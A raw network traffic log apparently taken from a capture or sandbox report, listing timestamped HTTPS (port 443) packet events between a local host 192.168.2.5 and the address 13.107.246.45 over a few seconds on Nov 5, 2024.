Nov 5, 2024 22:44:57.975392103 CET	443	50089	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.975446939 CET	443	50089	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.975508928 CET	50089	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.975720882 CET	50089	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.975738049 CET	443	50089	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.975750923 CET	50089	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.975756884 CET	443	50089	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.978471994 CET	50094	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.978498936 CET	443	50094	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:57.978569984 CET	50094	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.978693008 CET	50094	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:57.978703022 CET	443	50094	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.005175114 CET	50088	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.005201101 CET	443	50088	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.067712069 CET	50082	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.067733049 CET	443	50082	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.090405941 CET	443	50090	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.090439081 CET	443	50090	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.090493917 CET	50090	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.090508938 CET	443	50090	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.090580940 CET	443	50090	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.090622902 CET	50090	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.090688944 CET	50090	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.090696096 CET	443	50090	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.090706110 CET	50090	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.090709925 CET	443	50090	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.093018055 CET	50095	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.093040943 CET	443	50095	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.093118906 CET	50095	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.093254089 CET	50095	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.093266964 CET	443	50095	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.192059994 CET	443	50091	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.192460060 CET	50091	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.192476034 CET	443	50091	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.192873001 CET	50091	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.192878962 CET	443	50091	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.327697992 CET	443	50091	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.327862978 CET	443	50091	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.327923059 CET	50091	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.327982903 CET	50091	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.327999115 CET	443	50091	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.328008890 CET	50091	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.328015089 CET	443	50091	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.330749035 CET	50096	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.330775976 CET	443	50096	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.331017017 CET	50096	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.331017017 CET	50096	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.331047058 CET	443	50096	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.515903950 CET	443	50092	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.516339064 CET	50092	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.516354084 CET	443	50092	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.516782999 CET	50092	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.516786098 CET	443	50092	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.530932903 CET	443	50093	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.531217098 CET	50093	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.531232119 CET	443	50093	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.531660080 CET	50093	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.531665087 CET	443	50093	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.651599884 CET	443	50092	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.652039051 CET	443	50092	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.652101994 CET	50092	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.652172089 CET	50092	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.652188063 CET	443	50092	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.652196884 CET	50092	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.652200937 CET	443	50092	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.654813051 CET	50097	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.654844046 CET	443	50097	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.654926062 CET	50097	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.655062914 CET	50097	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.655075073 CET	443	50097	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.665559053 CET	443	50093	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.665617943 CET	443	50093	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.665743113 CET	50093	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.665906906 CET	50093	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.665923119 CET	443	50093	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.665934086 CET	50093	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.665940046 CET	443	50093	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.667928934 CET	50098	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.667968988 CET	443	50098	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.668037891 CET	50098	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.668148994 CET	50098	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.668163061 CET	443	50098	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.722255945 CET	443	50094	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.722646952 CET	50094	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.722657919 CET	443	50094	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.723079920 CET	50094	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.723083973 CET	443	50094	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.836400986 CET	443	50095	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.836781979 CET	50095	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.836796999 CET	443	50095	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.837220907 CET	50095	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.837225914 CET	443	50095	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.868061066 CET	443	50094	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.868261099 CET	443	50094	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.868319988 CET	50094	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.868381023 CET	50094	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.868391991 CET	443	50094	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.868401051 CET	50094	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.868406057 CET	443	50094	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.870590925 CET	50099	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.870618105 CET	443	50099	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.870696068 CET	50099	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.870820045 CET	50099	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.870830059 CET	443	50099	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.969890118 CET	443	50095	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.970101118 CET	443	50095	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.970340014 CET	50095	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.970340014 CET	50095	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.970340014 CET	50095	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.972393990 CET	50100	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.972428083 CET	443	50100	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:58.972516060 CET	50100	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.972635984 CET	50100	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:58.972646952 CET	443	50100	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.101068020 CET	443	50096	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.105196953 CET	50096	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.105223894 CET	443	50096	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.105623007 CET	50096	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.105633974 CET	443	50096	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.272625923 CET	50095	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.272644043 CET	443	50095	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.275230885 CET	443	50096	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.275487900 CET	443	50096	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.275547028 CET	50096	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.275604010 CET	50096	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.275614977 CET	443	50096	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.275626898 CET	50096	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.275631905 CET	443	50096	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.277859926 CET	50101	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.277895927 CET	443	50101	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.277970076 CET	50101	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.278088093 CET	50101	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.278101921 CET	443	50101	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.405134916 CET	443	50098	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.405651093 CET	50098	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.405677080 CET	443	50098	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.406301975 CET	50098	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.406306982 CET	443	50098	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.535466909 CET	443	50098	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.535600901 CET	443	50098	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.535645008 CET	443	50098	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.535691023 CET	50098	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.535737991 CET	50098	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.535980940 CET	50098	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.536004066 CET	443	50098	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.536017895 CET	50098	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.536024094 CET	443	50098	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.538780928 CET	50102	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.538815022 CET	443	50102	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.538887978 CET	50102	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.539021015 CET	50102	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.539035082 CET	443	50102	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.654697895 CET	443	50097	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.655119896 CET	443	50099	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.655692101 CET	50097	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.655709028 CET	443	50097	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.656070948 CET	50097	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.656075954 CET	443	50097	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.656294107 CET	50099	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.656301022 CET	443	50099	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.656630039 CET	50099	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.656634092 CET	443	50099	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.715934038 CET	443	50100	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.716331005 CET	50100	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.716341019 CET	443	50100	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.716738939 CET	50100	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.716742992 CET	443	50100	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.783562899 CET	443	50097	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.783705950 CET	443	50097	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.783782005 CET	50097	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.783905983 CET	50097	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.783921957 CET	443	50097	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.783938885 CET	50097	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.783942938 CET	443	50097	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.786263943 CET	443	50099	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.786439896 CET	443	50099	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.786492109 CET	50099	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.786633968 CET	50099	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.786638021 CET	443	50099	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.786645889 CET	50099	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.786648989 CET	443	50099	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.786798954 CET	50103	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.786827087 CET	443	50103	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.786896944 CET	50103	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.787015915 CET	50103	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.787026882 CET	443	50103	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.788855076 CET	50104	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.788896084 CET	443	50104	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.788973093 CET	50104	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.789099932 CET	50104	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.789119005 CET	443	50104	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.852428913 CET	443	50100	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.852638960 CET	443	50100	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.852677107 CET	50100	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.852684021 CET	443	50100	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.852694035 CET	443	50100	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.852734089 CET	50100	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.852771997 CET	50100	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.852788925 CET	443	50100	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.852799892 CET	50100	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.852806091 CET	443	50100	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.854907990 CET	50105	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.854943037 CET	443	50105	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:59.855014086 CET	50105	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.855148077 CET	50105	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:59.855159998 CET	443	50105	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.007282972 CET	443	50101	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.007684946 CET	50101	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.007703066 CET	443	50101	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.008121967 CET	50101	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.008126974 CET	443	50101	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.140089035 CET	443	50101	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.140331984 CET	443	50101	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.140494108 CET	50101	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.140494108 CET	50101	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.140494108 CET	50101	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.142940044 CET	50106	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.142981052 CET	443	50106	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.143050909 CET	50106	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.143167019 CET	50106	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.143181086 CET	443	50106	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.293088913 CET	443	50102	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.293710947 CET	50102	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.293719053 CET	443	50102	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.294019938 CET	50102	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.294027090 CET	443	50102	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.426049948 CET	443	50102	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.426278114 CET	443	50102	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.426321030 CET	50102	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.426321983 CET	443	50102	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.426374912 CET	50102	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.426429033 CET	50102	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.426440954 CET	443	50102	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.426451921 CET	50102	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.426456928 CET	443	50102	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.429680109 CET	50107	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.429716110 CET	443	50107	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.429795980 CET	50107	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.429944038 CET	50107	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.429955959 CET	443	50107	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.442703962 CET	50101	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.442727089 CET	443	50101	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.516809940 CET	443	50103	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.517263889 CET	50103	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.517282963 CET	443	50103	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.517709017 CET	50103	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.517713070 CET	443	50103	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.528445005 CET	443	50104	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.528707981 CET	50104	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.528722048 CET	443	50104	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.529059887 CET	50104	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.529064894 CET	443	50104	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.605417013 CET	443	50105	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.605859995 CET	50105	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.605876923 CET	443	50105	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.606169939 CET	50105	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.606175900 CET	443	50105	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.648261070 CET	443	50103	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.648459911 CET	443	50103	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.648637056 CET	50103	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.648637056 CET	50103	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.648637056 CET	50103	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.650768995 CET	50108	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.650803089 CET	443	50108	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.650867939 CET	50108	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.650991917 CET	50108	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.651001930 CET	443	50108	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.659934998 CET	443	50104	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.659984112 CET	443	50104	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.660027981 CET	50104	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.660140038 CET	50104	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.660151958 CET	443	50104	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.660161018 CET	50104	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.660166025 CET	443	50104	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.662314892 CET	50109	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.662348032 CET	443	50109	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.662425041 CET	50109	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.662560940 CET	50109	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.662573099 CET	443	50109	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.738334894 CET	443	50105	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.738528967 CET	443	50105	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.738840103 CET	50105	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.738840103 CET	50105	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.738840103 CET	50105	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.741405010 CET	50110	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.741426945 CET	443	50110	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.741502047 CET	50110	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.741663933 CET	50110	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.741674900 CET	443	50110	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.872036934 CET	443	50106	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.875901937 CET	50106	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.875914097 CET	443	50106	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.876374960 CET	50106	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.876379967 CET	443	50106	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:00.958417892 CET	50103	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:00.958435059 CET	443	50103	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.003068924 CET	443	50106	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.003278017 CET	443	50106	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.003329039 CET	443	50106	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.003437042 CET	50106	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.003437042 CET	50106	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.003437042 CET	50106	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.004632950 CET	50106	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.004643917 CET	443	50106	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.006041050 CET	50111	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.006071091 CET	443	50111	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.006143093 CET	50111	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.006269932 CET	50111	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.006280899 CET	443	50111	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.052089930 CET	50105	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.052110910 CET	443	50105	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.169931889 CET	443	50107	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.170387983 CET	50107	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.170401096 CET	443	50107	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.170855999 CET	50107	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.170861006 CET	443	50107	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.301345110 CET	443	50107	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.301594019 CET	443	50107	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.301764965 CET	50107	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.301764965 CET	50107	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.301764965 CET	50107	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.304346085 CET	50112	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.304375887 CET	443	50112	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.304462910 CET	50112	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.304600954 CET	50112	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.304614067 CET	443	50112	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.395296097 CET	443	50108	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.395894051 CET	50108	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.395909071 CET	443	50108	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.396286011 CET	50108	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.396291971 CET	443	50108	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.404395103 CET	443	50109	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.404690027 CET	50109	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.404706955 CET	443	50109	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.405078888 CET	50109	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.405086040 CET	443	50109	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.470495939 CET	443	50110	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.470977068 CET	50110	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:45:01.470999002 CET	443	50110	13.107.246.45	192.168.2.5
Nov 5, 2024 22:45:01.471378088 CET	50110	443	192.168.2.5	13.107.246.45
